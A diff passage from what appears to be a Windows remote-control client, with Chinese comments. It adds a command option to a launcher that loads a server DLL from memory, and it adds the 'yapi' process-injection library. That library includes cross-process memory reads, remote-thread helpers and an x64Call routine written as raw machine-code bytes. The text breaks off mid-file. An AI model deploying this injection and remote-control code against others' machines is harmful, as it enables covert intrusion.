argc > 2 ? atoi(argv[2]) : (g_ConnectAddress.ServerPort() == 0 ? 6543 : g_ConnectAddress.ServerPort()),
|
||||
(argc > 1 && strncmp(argv[1], "-cmd=", 5) == 0 && strlen(argv[1]) > 5) ? std::string(argv[1] + 5) : "");
|
||||
if (ret == 1) {
|
||||
Mprintf("结束运行.\n");
|
||||
Sleep(1000);
|
||||
@@ -397,7 +406,7 @@ int main(int argc, const char *argv[])
|
||||
}
|
||||
|
||||
// 传入命令行参数: IP 和 端口.
|
||||
BOOL Run(const char* argv1, int argv2)
|
||||
BOOL Run(const char* argv1, int argv2, const std::string &runCmd)
|
||||
{
|
||||
BOOL result = FALSE;
|
||||
char path[_MAX_PATH], * p = path;
|
||||
@@ -438,7 +447,7 @@ BOOL Run(const char* argv1, int argv2)
|
||||
case Startup_DLL:
|
||||
runner = new DefaultDllRunner;
|
||||
break;
|
||||
case Startup_MEMDLL:
|
||||
case Startup_MEMDLL: case Startup_TestRunSystem :
|
||||
runner = new MemoryDllRunner;
|
||||
break;
|
||||
case Startup_InjSC:
|
||||
@@ -455,6 +464,8 @@ BOOL Run(const char* argv1, int argv2)
|
||||
stop = hDll ? StopRun(runner->GetProcAddress(hDll, "StopRun")) : NULL;
|
||||
bStop = hDll ? IsStoped(runner->GetProcAddress(hDll, "IsStoped")) : NULL;
|
||||
bExit = hDll ? IsExit(runner->GetProcAddress(hDll, "IsExit")) : NULL;
|
||||
CmdRunner cmd = hDll ? CmdRunner(runner->GetProcAddress(hDll, "RunCommand")) : NULL;
|
||||
int nCmd = runCmd.empty() ? 0 : std::atoi(runCmd.c_str());
|
||||
if (NULL == run) {
|
||||
if (hDll) runner->FreeLibrary(hDll);
|
||||
Mprintf("加载动态链接库\"ServerDll.dll\"失败. 错误代码: %d\n", GetLastError());
|
||||
@@ -476,10 +487,21 @@ BOOL Run(const char* argv1, int argv2)
|
||||
port = cfg.Get1Int("settings", "port", ';', 6543);
|
||||
}
|
||||
Mprintf("[server] %s:%d\n", ip, port);
|
||||
if (nCmd) {
|
||||
BYTE buf[] = {nCmd};
|
||||
if (cmd) nCmd = cmd(buf, 1);
|
||||
result = 1;
|
||||
Mprintf("Finish run command. Result: %d\n", nCmd);
|
||||
break;
|
||||
}
|
||||
do {
|
||||
run(ip, port);
|
||||
while (bStop && !bStop() && 0 == status)
|
||||
Sleep(20);
|
||||
if (bExit && bExit() != S_SERVER_EXIT) {
|
||||
// 受控端退出 / 程序更新:等所有实例(含分享实例)退干净,避免下方 FreeLibrary
|
||||
// 卸载 DLL 时残留分享实例线程。主控端重启(S_SERVER_EXIT)则立即重连,不等仍存活的分享实例。
|
||||
while (bStop && !bStop() && 0 == status)
|
||||
Sleep(20);
|
||||
}
|
||||
} while (bExit && !bExit() && 0 == status);
|
||||
|
||||
while (bStop && !bStop() && 1 == status)
|
||||
|
||||
+915
@@ -0,0 +1,915 @@
|
||||
/*
|
||||
yapi -- Yet Another Process Injector / Your API
|
||||
A fusion library that reduce differences between x64, wow64 and x86 processes based on rewolf-wow64ext.
|
||||
|
||||
Copyright (c) 2010-2018 <http://ez8.co> <orca.zhang@yahoo.com>
|
||||
This library is released under the MIT License.
|
||||
|
||||
Please see LICENSE file or visit https://github.com/ez8-co/yapi for details.
|
||||
*/
|
||||
#pragma once
|
||||
|
||||
#define WIN32_NO_STATUS
|
||||
#include <windows.h>
|
||||
#include <winternl.h>
|
||||
|
||||
#include <tchar.h>
|
||||
#include <vector>
|
||||
#include <string>
|
||||
|
||||
#ifndef NT_SUCCESS
|
||||
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
|
||||
#endif
|
||||
|
||||
#include <TlHelp32.h>
|
||||
|
||||
namespace detail {
|
||||
static HMODULE hNtDll = LoadLibrary(_T("ntdll.dll"));
|
||||
static HANDLE hCurProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, GetCurrentProcessId());
|
||||
|
||||
inline BOOL Is64BitOS()
|
||||
{
|
||||
SYSTEM_INFO systemInfo = { 0 };
|
||||
GetNativeSystemInfo(&systemInfo);
|
||||
return systemInfo.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_AMD64
|
||||
|| systemInfo.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_IA64;
|
||||
}
|
||||
static const BOOL is64BitOS = Is64BitOS();
|
||||
|
||||
struct GCBase
|
||||
{
|
||||
virtual DWORD64 toDWORD64() = 0;
|
||||
virtual void gc() = 0;
|
||||
};
|
||||
struct GCHelper
|
||||
{
|
||||
~GCHelper() {
|
||||
for (size_t i = 0; i < _ptrs.size(); i++) {
|
||||
_ptrs[i]->gc();
|
||||
delete _ptrs[i];
|
||||
}
|
||||
}
|
||||
DWORD64 add(GCBase* ptr) { _ptrs.push_back(ptr); return ptr->toDWORD64(); }
|
||||
private:
|
||||
std::vector<GCBase*> _ptrs;
|
||||
};
|
||||
}
|
||||
|
||||
namespace yapi {
|
||||
|
||||
typedef std::basic_string<TCHAR, std::char_traits<TCHAR>, std::allocator<TCHAR> > tstring;
|
||||
|
||||
#ifndef UNICODE
|
||||
static std::string _W2T(const wchar_t* wcs)
|
||||
{
|
||||
int len = ::WideCharToMultiByte(CP_ACP, 0, wcs, -1, NULL, 0, 0, 0);
|
||||
std::string ret(len, 0);
|
||||
assert(0 != ::WideCharToMultiByte(CP_ACP, 0, wcs, -1, &ret[0], len, 0, 0));
|
||||
ret.resize(len - 1);
|
||||
return ret;
|
||||
}
|
||||
#else
|
||||
#define _W2T(str) std::wstring(str)
|
||||
#endif
|
||||
|
||||
#define REPEAT_0(macro)
|
||||
#define REPEAT_1(macro) REPEAT_0(macro)
|
||||
#define REPEAT_2(macro) REPEAT_1(macro) macro(1)
|
||||
#define REPEAT_3(macro) REPEAT_2(macro) macro(2)
|
||||
#define REPEAT_4(macro) REPEAT_3(macro) macro(3)
|
||||
#define REPEAT_5(macro) REPEAT_4(macro) macro(4)
|
||||
#define REPEAT_6(macro) REPEAT_5(macro) macro(5)
|
||||
#define REPEAT_7(macro) REPEAT_6(macro) macro(6)
|
||||
#define REPEAT_8(macro) REPEAT_7(macro) macro(7)
|
||||
#define REPEAT_9(macro) REPEAT_8(macro) macro(8)
|
||||
#define REPEAT_10(macro) REPEAT_9(macro) macro(9)
|
||||
#define REPEAT_11(macro) REPEAT_10(macro) macro(10)
|
||||
#define REPEAT_12(macro) REPEAT_11(macro) macro(11)
|
||||
#define REPEAT_13(macro) REPEAT_12(macro) macro(12)
|
||||
#define REPEAT_14(macro) REPEAT_13(macro) macro(13)
|
||||
#define REPEAT_15(macro) REPEAT_14(macro) macro(14)
|
||||
#define REPEAT_16(macro) REPEAT_15(macro) macro(15)
|
||||
#define REPEAT_17(macro) REPEAT_16(macro) macro(16)
|
||||
#define REPEAT_18(macro) REPEAT_17(macro) macro(17)
|
||||
#define REPEAT_19(macro) REPEAT_18(macro) macro(18)
|
||||
#define REPEAT_20(macro) REPEAT_19(macro) macro(19)
|
||||
|
||||
#define END_MACRO_0(macro)
|
||||
#define END_MACRO_1(macro) macro(1)
|
||||
#define END_MACRO_2(macro) macro(2)
|
||||
#define END_MACRO_3(macro) macro(3)
|
||||
#define END_MACRO_4(macro) macro(4)
|
||||
#define END_MACRO_5(macro) macro(5)
|
||||
#define END_MACRO_6(macro) macro(6)
|
||||
#define END_MACRO_7(macro) macro(7)
|
||||
#define END_MACRO_8(macro) macro(8)
|
||||
#define END_MACRO_9(macro) macro(9)
|
||||
#define END_MACRO_10(macro) macro(10)
|
||||
#define END_MACRO_11(macro) macro(11)
|
||||
#define END_MACRO_12(macro) macro(12)
|
||||
#define END_MACRO_13(macro) macro(13)
|
||||
#define END_MACRO_14(macro) macro(14)
|
||||
#define END_MACRO_15(macro) macro(15)
|
||||
#define END_MACRO_16(macro) macro(16)
|
||||
#define END_MACRO_17(macro) macro(17)
|
||||
#define END_MACRO_18(macro) macro(18)
|
||||
#define END_MACRO_19(macro) macro(19)
|
||||
#define END_MACRO_20(macro) macro(20)
|
||||
|
||||
#define REPEAT(n, macro, end_macro) REPEAT_##n (macro) END_MACRO_##n(end_macro)
|
||||
|
||||
#define __ARG(n) P ## n
|
||||
#define __PARAM(n) p ## n
|
||||
#define __ARG_DECL(n) __ARG(n) __PARAM(n)
|
||||
|
||||
#define TEMPLATE_ARG(n) typename __ARG(n)
|
||||
#define VOID_TEMPLATE_ARGS(n) typename __ARG(n),
|
||||
|
||||
#define ARG_DECL(n) __ARG_DECL(n) ,
|
||||
#define END_ARG_DECL(n) __ARG_DECL(n)
|
||||
|
||||
#define DECL_VOID_TEMPLATE_ARGS(n) REPEAT(n, VOID_TEMPLATE_ARGS, TEMPLATE_ARG)
|
||||
#define DECL_PARAMS_LIST(n) REPEAT(n, ARG_DECL, END_ARG_DECL)
|
||||
|
||||
namespace {
|
||||
template <class T>
|
||||
struct _UNICODE_STRING_T {
|
||||
union {
|
||||
struct {
|
||||
WORD Length;
|
||||
WORD MaximumLength;
|
||||
};
|
||||
T dummy;
|
||||
};
|
||||
T Buffer;
|
||||
};
|
||||
|
||||
template <typename T>
|
||||
struct _LIST_ENTRY_T {
|
||||
T Flink;
|
||||
T Blink;
|
||||
};
|
||||
|
||||
template <typename T>
|
||||
struct _PEB_T {
|
||||
T dummy01;
|
||||
T Mutant;
|
||||
T ImageBaseAddress;
|
||||
T Ldr;
|
||||
// omit unused fields
|
||||
};
|
||||
|
||||
typedef _PEB_T<DWORD> PEB32;
|
||||
typedef _PEB_T<DWORD64> PEB64;
|
||||
|
||||
typedef struct _PROCESS_BASIC_INFORMATION32 {
|
||||
NTSTATUS ExitStatus;
|
||||
UINT32 PebBaseAddress;
|
||||
UINT32 AffinityMask;
|
||||
UINT32 BasePriority;
|
||||
UINT32 UniqueProcessId;
|
||||
UINT32 InheritedFromUniqueProcessId;
|
||||
} PROCESS_BASIC_INFORMATION32;
|
||||
|
||||
typedef struct _PROCESS_BASIC_INFORMATION64 {
|
||||
NTSTATUS ExitStatus;
|
||||
UINT32 Reserved0;
|
||||
UINT64 PebBaseAddress;
|
||||
UINT64 AffinityMask;
|
||||
UINT32 BasePriority;
|
||||
UINT32 Reserved1;
|
||||
UINT64 UniqueProcessId;
|
||||
UINT64 InheritedFromUniqueProcessId;
|
||||
} PROCESS_BASIC_INFORMATION64;
|
||||
|
||||
template <class T>
|
||||
struct _PEB_LDR_DATA_T {
|
||||
DWORD Length;
|
||||
DWORD Initialized;
|
||||
T SsHandle;
|
||||
_LIST_ENTRY_T<T> InLoadOrderModuleList;
|
||||
// omit unused fields
|
||||
};
|
||||
|
||||
typedef _PEB_LDR_DATA_T<DWORD> PEB_LDR_DATA32;
|
||||
typedef _PEB_LDR_DATA_T<DWORD64> PEB_LDR_DATA64;
|
||||
|
||||
template <class T>
|
||||
struct _LDR_DATA_TABLE_ENTRY_T {
|
||||
_LIST_ENTRY_T<T> InLoadOrderLinks;
|
||||
_LIST_ENTRY_T<T> InMemoryOrderLinks;
|
||||
_LIST_ENTRY_T<T> InInitializationOrderLinks;
|
||||
T DllBase;
|
||||
T EntryPoint;
|
||||
union {
|
||||
DWORD SizeOfImage;
|
||||
T dummy01;
|
||||
};
|
||||
_UNICODE_STRING_T<T> FullDllName;
|
||||
_UNICODE_STRING_T<T> BaseDllName;
|
||||
// omit unused fields
|
||||
};
|
||||
|
||||
typedef _LDR_DATA_TABLE_ENTRY_T<DWORD> LDR_DATA_TABLE_ENTRY32;
|
||||
typedef _LDR_DATA_TABLE_ENTRY_T<DWORD64> LDR_DATA_TABLE_ENTRY64;
|
||||
|
||||
size_t tcslen(const char* str) { return strlen(str); }
|
||||
size_t tcslen(const wchar_t* str) { return wcslen(str); }
|
||||
}
|
||||
|
||||
inline DWORD64 WINAPI GetProcAddress(HANDLE hProcess, DWORD64 hModule, const char* funcName);
|
||||
|
||||
#ifdef _WIN64
|
||||
typedef NTSTATUS(WINAPI *NT_QUERY_INFORMATION_PROCESS)(
|
||||
HANDLE ProcessHandle, ULONG ProcessInformationClass,
|
||||
PVOID ProcessInformation, UINT32 ProcessInformationLength,
|
||||
UINT32 * ReturnLength);
|
||||
|
||||
static NT_QUERY_INFORMATION_PROCESS NtWow64QueryInformationProcess64 = (NT_QUERY_INFORMATION_PROCESS)GetProcAddress((HMODULE)detail::hNtDll, "NtQueryInformationProcess");
|
||||
#define NtWow64ReadVirtualMemory64 ReadProcessMemory
|
||||
|
||||
#else
|
||||
|
||||
namespace {
|
||||
typedef NTSTATUS(WINAPI *NT_WOW64_QUERY_INFORMATION_PROCESS64)(
|
||||
HANDLE ProcessHandle, UINT32 ProcessInformationClass,
|
||||
PVOID ProcessInformation, UINT32 ProcessInformationLength,
|
||||
UINT32* ReturnLength);
|
||||
|
||||
typedef NTSTATUS(WINAPI *NT_WOW64_READ_VIRTUAL_MEMORY64)(
|
||||
HANDLE ProcessHandle, PVOID64 BaseAddress,
|
||||
PVOID BufferData, UINT64 BufferLength,
|
||||
PUINT64 ReturnLength);
|
||||
|
||||
static NT_WOW64_QUERY_INFORMATION_PROCESS64 NtWow64QueryInformationProcess64 = (NT_WOW64_QUERY_INFORMATION_PROCESS64)GetProcAddress((HMODULE)detail::hNtDll, "NtWow64QueryInformationProcess64");
|
||||
static NT_WOW64_READ_VIRTUAL_MEMORY64 NtWow64ReadVirtualMemory64 = (NT_WOW64_READ_VIRTUAL_MEMORY64)GetProcAddress((HMODULE)detail::hNtDll, "NtWow64ReadVirtualMemory64");
|
||||
}
|
||||
|
||||
#endif
|
||||
|
||||
inline DWORD64 WINAPI GetModuleHandle(HANDLE hProcess, const TCHAR* moduleName)
|
||||
{
|
||||
if (!moduleName) return 0;
|
||||
if (!hProcess) hProcess = detail::hCurProcess;
|
||||
|
||||
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE | TH32CS_SNAPMODULE32, GetProcessId(hProcess));
|
||||
if (hSnap == INVALID_HANDLE_VALUE) return 0;
|
||||
MODULEENTRY32 mod = { sizeof(mod) };
|
||||
if (Module32First(hSnap, &mod)) {
|
||||
do {
|
||||
if (!_tcsicmp(mod.szModule, moduleName)) {
|
||||
CloseHandle(hSnap);
|
||||
return (DWORD64)mod.hModule;
|
||||
}
|
||||
} while (Module32Next(hSnap, &mod));
|
||||
}
|
||||
CloseHandle(hSnap);
|
||||
return 0;
|
||||
}
|
||||
|
||||
DWORD64 WINAPI GetProcAddress(HANDLE hProcess, DWORD64 hModule, const char* funcName)
|
||||
{
|
||||
if (!hModule || !funcName) return 0;
|
||||
if (!hProcess) hProcess = detail::hCurProcess;
|
||||
|
||||
IMAGE_DOS_HEADER idh;
|
||||
NTSTATUS status = ReadProcessMemory(hProcess, (PVOID)hModule, (PVOID)&idh, sizeof(idh), NULL);
|
||||
if (!NT_SUCCESS(status)) return 0;
|
||||
|
||||
IMAGE_NT_HEADERS32 inh;
|
||||
status = ReadProcessMemory(hProcess, (PVOID)(hModule + idh.e_lfanew), (PVOID)&inh, sizeof(inh), NULL);
|
||||
if (!NT_SUCCESS(status)) return 0;
|
||||
|
||||
IMAGE_DATA_DIRECTORY& idd = inh.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
|
||||
if (!idd.VirtualAddress)return 0;
|
||||
|
||||
IMAGE_EXPORT_DIRECTORY ied;
|
||||
status = ReadProcessMemory(hProcess, (PVOID)(hModule + idd.VirtualAddress), (PVOID)&ied, sizeof(ied), NULL);
|
||||
if (!NT_SUCCESS(status)) return 0;
|
||||
|
||||
std::vector<DWORD> nameTable(ied.NumberOfNames);
|
||||
status = ReadProcessMemory(hProcess, (PVOID)(hModule + ied.AddressOfNames), (PVOID)&nameTable[0], sizeof(DWORD) * ied.NumberOfNames, NULL);
|
||||
if (!NT_SUCCESS(status)) return 0;
|
||||
|
||||
for (DWORD i = 0; i < ied.NumberOfNames; ++i) {
|
||||
std::string func(strlen(funcName), 0);
|
||||
status = ReadProcessMemory(hProcess, (PVOID)(hModule + nameTable[i]), (PVOID)&func[0], strlen(funcName), NULL);
|
||||
if (!NT_SUCCESS(status)) continue;
|
||||
|
||||
if (func == funcName) {
|
||||
WORD ord = 0;
|
||||
status = ReadProcessMemory(hProcess, (PVOID)(hModule + ied.AddressOfNameOrdinals + i * sizeof(WORD)), (PVOID)&ord, sizeof(WORD), NULL);
|
||||
if (!NT_SUCCESS(status)) continue;
|
||||
|
||||
DWORD rva = 0;
|
||||
status = ReadProcessMemory(hProcess, (PVOID)(hModule + ied.AddressOfFunctions + ord * sizeof(DWORD)), (PVOID)&rva, sizeof(DWORD), NULL);
|
||||
if (!NT_SUCCESS(status)) continue;
|
||||
|
||||
return hModule + rva;
|
||||
}
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
inline DWORD64 WINAPI GetModuleHandle64(HANDLE hProcess, const TCHAR* moduleName)
|
||||
{
|
||||
if (!moduleName) return 0;
|
||||
if (!hProcess) hProcess = detail::hCurProcess;
|
||||
|
||||
#ifndef _WIN64
|
||||
if (!NtWow64QueryInformationProcess64 || !NtWow64ReadVirtualMemory64) return 0;
|
||||
#endif
|
||||
|
||||
PROCESS_BASIC_INFORMATION64 pbi = { 0 };
|
||||
const int ProcessBasicInformation = 0;
|
||||
NTSTATUS status = NtWow64QueryInformationProcess64(hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), NULL);
|
||||
if (!NT_SUCCESS(status)) return 0;
|
||||
|
||||
PEB64 peb;
|
||||
status = NtWow64ReadVirtualMemory64(hProcess, (PVOID64)pbi.PebBaseAddress, &peb, sizeof(peb), NULL);
|
||||
if (!NT_SUCCESS(status)) return 0;
|
||||
|
||||
PEB_LDR_DATA64 ldr;
|
||||
status = NtWow64ReadVirtualMemory64(hProcess, (PVOID64)peb.Ldr, (PVOID)&ldr, sizeof(ldr), NULL);
|
||||
if (!NT_SUCCESS(status)) return 0;
|
||||
|
||||
DWORD64 LastEntry = peb.Ldr + offsetof(PEB_LDR_DATA64, InLoadOrderModuleList);
|
||||
|
||||
LDR_DATA_TABLE_ENTRY64 head;
|
||||
head.InLoadOrderLinks.Flink = ldr.InLoadOrderModuleList.Flink;
|
||||
do {
|
||||
status = NtWow64ReadVirtualMemory64(hProcess, (PVOID64)head.InLoadOrderLinks.Flink, (PVOID)&head, sizeof(head), NULL);
|
||||
if (!NT_SUCCESS(status)) continue;
|
||||
|
||||
std::wstring modName((size_t)head.BaseDllName.MaximumLength, 0);
|
||||
status = NtWow64ReadVirtualMemory64(hProcess, (PVOID64)head.BaseDllName.Buffer, (PVOID)&modName[0], head.BaseDllName.MaximumLength, NULL);
|
||||
if (!NT_SUCCESS(status)) continue;
|
||||
|
||||
if (!_tcsicmp(moduleName, _W2T(modName.c_str()).c_str()))
|
||||
return head.DllBase;
|
||||
} while (head.InLoadOrderLinks.Flink != LastEntry);
|
||||
return 0;
|
||||
}
|
||||
|
||||
inline DWORD64 WINAPI GetProcAddress64(HANDLE hProcess, DWORD64 hModule, const char* funcName)
|
||||
{
|
||||
if (!hModule || !funcName) return 0;
|
||||
if (!hProcess) hProcess = detail::hCurProcess;
|
||||
|
||||
#ifndef _WIN64
|
||||
if (!NtWow64ReadVirtualMemory64) return 0;
|
||||
#endif
|
||||
|
||||
IMAGE_DOS_HEADER idh;
|
||||
NTSTATUS status = NtWow64ReadVirtualMemory64(hProcess, (PVOID64)hModule, (PVOID)&idh, sizeof(idh), NULL);
|
||||
if (!NT_SUCCESS(status)) return 0;
|
||||
|
||||
IMAGE_NT_HEADERS64 inh;
|
||||
status = NtWow64ReadVirtualMemory64(hProcess, (PVOID64)(hModule + idh.e_lfanew), (PVOID)&inh, sizeof(inh), NULL);
|
||||
if (!NT_SUCCESS(status)) return 0;
|
||||
|
||||
IMAGE_DATA_DIRECTORY& idd = inh.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
|
||||
if (!idd.VirtualAddress)return 0;
|
||||
|
||||
IMAGE_EXPORT_DIRECTORY ied;
|
||||
status = NtWow64ReadVirtualMemory64(hProcess, (PVOID64)(hModule + idd.VirtualAddress), (PVOID)&ied, sizeof(ied), NULL);
|
||||
if (!NT_SUCCESS(status)) return 0;
|
||||
|
||||
std::vector<DWORD> nameTable(ied.NumberOfNames);
|
||||
status = NtWow64ReadVirtualMemory64(hProcess, (PVOID64)(hModule + ied.AddressOfNames), (PVOID)&nameTable[0], sizeof(DWORD) * ied.NumberOfNames, NULL);
|
||||
if (!NT_SUCCESS(status)) return 0;
|
||||
|
||||
for (DWORD i = 0; i < ied.NumberOfNames; ++i) {
|
||||
std::string func(strlen(funcName), 0);
|
||||
status = NtWow64ReadVirtualMemory64(hProcess, (PVOID64)(hModule + nameTable[i]), (PVOID)&func[0], strlen(funcName), NULL);
|
||||
if (!NT_SUCCESS(status)) continue;
|
||||
|
||||
if (func == funcName) {
|
||||
WORD ord = 0;
|
||||
status = NtWow64ReadVirtualMemory64(hProcess, (PVOID64)(hModule + ied.AddressOfNameOrdinals + i * sizeof(WORD)), (PVOID)&ord, sizeof(WORD), NULL);
|
||||
if (!NT_SUCCESS(status)) continue;
|
||||
|
||||
DWORD rva = 0;
|
||||
status = NtWow64ReadVirtualMemory64(hProcess, (PVOID64)(hModule + ied.AddressOfFunctions + ord * sizeof(DWORD)), (PVOID)&rva, sizeof(DWORD), NULL);
|
||||
if (!NT_SUCCESS(status)) continue;
|
||||
|
||||
return hModule + rva;
|
||||
}
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
inline DWORD64 GetNtDll64()
|
||||
{
|
||||
static DWORD64 hNtdll64 = 0;
|
||||
if(hNtdll64) return hNtdll64;
|
||||
hNtdll64 = GetModuleHandle64(detail::hCurProcess, _T("ntdll.dll"));
|
||||
return hNtdll64;
|
||||
}
|
||||
|
||||
#ifdef _WIN64
|
||||
|
||||
#define SetLastError64 SetLastError
|
||||
#define VirtualQueryEx64 VirtualQueryEx
|
||||
#define VirtualAllocEx64 VirtualAllocEx
|
||||
#define VirtualFreeEx64 VirtualFreeEx
|
||||
#define VirtualProtectEx64 VirtualProtectEx
|
||||
#define ReadProcessMemory64 ReadProcessMemory
|
||||
#define WriteProcessMemory64 WriteProcessMemory
|
||||
#define LoadLibrary64 LoadLibrary
|
||||
#define CreateRemoteThread64 CreateRemoteThread
|
||||
|
||||
#else
|
||||
|
||||
namespace {
|
||||
#define _(x) __asm __emit (x)
|
||||
__declspec(naked) DWORD64 x64Call(DWORD64 func, int argC, ...)
|
||||
{
|
||||
// see X64Call_disassemble for details
|
||||
_(0x55)_(0x8b)_(0xec)_(0x8b)_(0x4d)_(0x10)_(0x8d)_(0x55)_(0x14)_(0x83)_(0xec)_(0x40)_(0x53)_(0x56)_(0x57)_(0x85)
|
||||
_(0xc9)_(0x7e)_(0x15)_(0x8b)_(0x45)_(0x14)_(0x8d)_(0x55)_(0x1c)_(0x49)_(0x89)_(0x45)_(0xf0)_(0x8b)_(0x45)_(0x18)
|
||||
_(0x89)_(0x4d)_(0x10)_(0x89)_(0x45)_(0xf4)_(0xeb)_(0x08)_(0x0f)_(0x57)_(0xc0)_(0x66)_(0x0f)_(0x13)_(0x45)_(0xf0)
|
||||
_(0x85)_(0xc9)_(0x7e)_(0x15)_(0x49)_(0x83)_(0xc2)_(0x08)_(0x89)_(0x4d)_(0x10)_(0x8b)_(0x42)_(0xf8)_(0x89)_(0x45)
|
||||
_(0xe8)_(0x8b)_(0x42)_(0xfc)_(0x89)_(0x45)_(0xec)_(0xeb)_(0x08)_(0x0f)_(0x57)_(0xc0)_(0x66)_(0x0f)_(0x13)_(0x45)
|
||||
_(0xe8)_(0x85)_(0xc9)_(0x7e)_(0x15)_(0x49)_(0x83)_(0xc2)_(0x08)_(0x89)_(0x4d)_(0x10)_(0x8b)_(0x42)_(0xf8)_(0x89)
|
||||
_(0x45)_(0xe0)_(0x8b)_(0x42)_(0xfc)_(0x89)_(0x45)_(0xe4)_(0xeb)_(0x08)_(0x0f)_(0x57)_(0xc0)_(0x66)_(0x0f)_(0x13)
|
||||
_(0x45)_(0xe0)_(0x85)_(0xc9)_(0x7e)_(0x15)_(0x49)_(0x83)_(0xc2)_(0x08)_(0x89)_(0x4d)_(0x10)_(0x8b)_(0x42)_(0xf8)
|
||||
_(0x89)_(0x45)_(0xd8)_(0x8b)_(0x42)_(0xfc)_(0x89)_(0x45)_(0xdc)_(0xeb)_(0x08)_(0x0f)_(0x57)_(0xc0)_(0x66)_(0x0f)
|
||||
_(0x13)_(0x45)_(0xd8)_(0x8b)_(0xc2)_(0xc7)_(0x45)_(0xfc)_(0x00)_(0x00)_(0x00)_(0x00)_(0x99)_(0x0f)_(0x57)_(0xc0)
|
||||
_(0x89)_(0x45)_(0xc0)_(0x8b)_(0xc1)_(0x89)_(0x55)_(0xc4)_(0x99)_(0x66)_(0x0f)_(0x13)_(0x45)_(0xc8)_(0x89)_(0x45)
|
||||
_(0xd0)_(0x89)_(0x55)_(0xd4)_(0xc7)_(0x45)_(0xf8)_(0x00)_(0x00)_(0x00)_(0x00)_(0x66)_(0x8c)_(0x65)_(0xf8)_(0xb8)
|
||||
_(0x2b)_(0x00)_(0x00)_(0x00)_(0x66)_(0x8e)_(0xe0)_(0x89)_(0x65)_(0xfc)_(0x83)_(0xe4)_(0xf0)_(0x6a)_(0x33)_(0xe8)
|
||||
_(0x00)_(0x00)_(0x00)_(0x00)_(0x83)_(0x04)_(0x24)_(0x05)_(0xcb)_(0x48)_(0x8b)_(0x4d)_(0xf0)_(0x48)_(0x8b)_(0x55)
|
||||
_(0xe8)_(0xff)_(0x75)_(0xe0)_(0x49)_(0x58)_(0xff)_(0x75)_(0xd8)_(0x49)_(0x59)_(0x48)_(0x8b)_(0x45)_(0xd0)_(0xa8)
|
||||
_(0x01)_(0x75)_(0x03)_(0x83)_(0xec)_(0x08)_(0x57)_(0x48)_(0x8b)_(0x7d)_(0xc0)_(0x48)_(0x85)_(0xc0)_(0x74)_(0x16)
|
||||
_(0x48)_(0x8d)_(0x7c)_(0xc7)_(0xf8)_(0x48)_(0x85)_(0xc0)_(0x74)_(0x0c)_(0xff)_(0x37)_(0x48)_(0x83)_(0xef)_(0x08)
|
||||
_(0x48)_(0x83)_(0xe8)_(0x01)_(0xeb)_(0xef)_(0x48)_(0x83)_(0xec)_(0x20)_(0xff)_(0x55)_(0x08)_(0x48)_(0x8b)_(0x4d)
|
||||
_(0xd0)_(0x48)_(0x8d)_(0x64)_(0xcc)_(0x20)_(0x5f)_(0x48)_(0x89)_(0x45)_(0xc8)_(0xe8)_(0x00)_(0x00)_(0x00)_(0x00)
|
||||
_(0xc7)_(0x44)_(0x24)_(0x04)_(0x23)_(0x00)_(0x00)_(0x00)_(0x83)_(0x04)_(0x24)_(0x0d)_(0xcb)_(0x66)_(0x8c)_(0xd8)
|
||||
_(0x66)_(0x8e)_(0xd0)_(0x8b)_(0x65)_(0xfc)_(0x66)_(0x8b)_(0x45)_(0xf8)_(0x66)_(0x8e)_(0xe0)_(0x8b)_(0x45)_(0xc8)
|
||||
_(0x8b)_(0x55)_(0xcc)_(0x5f)_(0x5e)_(0x5b)_(0x8b)_(0xe5)_(0x5d)_(0xc3)
|
||||
}
|
||||
#undef _
|
||||
}
|
||||
|
||||
class X64Call
|
||||
{
|
||||
template<typename char_t>
|
||||
struct StringHelper : detail::GCBase
|
||||
{
|
||||
StringHelper(const char_t* v) : name(0) {
|
||||
name = new _UNICODE_STRING_T<DWORD64>;
|
||||
name->Buffer = (DWORD64)v;
|
||||
name->Length = (WORD)tcslen(v) * sizeof(char_t);
|
||||
name->MaximumLength = name->Length;
|
||||
}
|
||||
virtual void gc() { delete name; }
|
||||
virtual DWORD64 toDWORD64() { return (DWORD64)name; }
|
||||
private:
|
||||
_UNICODE_STRING_T<DWORD64>* name;
|
||||
};
|
||||
template<typename T>
|
||||
DWORD64 ToDWORD64(T v, detail::GCHelper*) {
|
||||
return DWORD64(v);
|
||||
}
|
||||
template<> DWORD64 ToDWORD64<const char*>(const char* v, detail::GCHelper* helper) { return helper->add(new StringHelper<char>(v)); }
|
||||
template<> DWORD64 ToDWORD64<const wchar_t*>(const wchar_t* v, detail::GCHelper* helper) { return helper->add(new StringHelper<wchar_t>(v)); }
|
||||
template<> DWORD64 ToDWORD64<char*>(char* v, detail::GCHelper* helper) { return helper->add(new StringHelper<char>(v)); }
|
||||
template<> DWORD64 ToDWORD64<wchar_t*>(wchar_t* v, detail::GCHelper* helper) { return helper->add(new StringHelper<wchar_t>(v)); }
|
||||
|
||||
private:
|
||||
DWORD64 func;
|
||||
|
||||
public:
|
||||
X64Call(const char* funcName) : func(GetProcAddress64(0, GetNtDll64(), funcName)) {}
|
||||
X64Call(DWORD64 module, const char* funcName) : func(GetProcAddress64(0, module, funcName)) {}
|
||||
|
||||
operator DWORD64() { return func; }
|
||||
|
||||
DWORD64 operator()() { return func && x64Call(func, 0); }
|
||||
|
||||
#define __TO_DWORD64_DECL(n) ToDWORD64(__PARAM(n), &helper)
|
||||
#define TO_DWORD64_DECL(n) __TO_DWORD64_DECL(n) ,
|
||||
#define END_TO_DWORD64_DECL(n) __TO_DWORD64_DECL(n)
|
||||
#define CALLERS(n) template<DECL_VOID_TEMPLATE_ARGS(n)> DWORD64 operator()(DECL_PARAMS_LIST(n)) { detail::GCHelper helper; return func && x64Call(func, n, REPEAT(n, TO_DWORD64_DECL, END_TO_DWORD64_DECL)); }
|
||||
CALLERS( 1) CALLERS( 2) CALLERS( 3) CALLERS( 4) CALLERS( 5) CALLERS( 6) CALLERS( 7) CALLERS( 8) CALLERS( 9) CALLERS(10)
|
||||
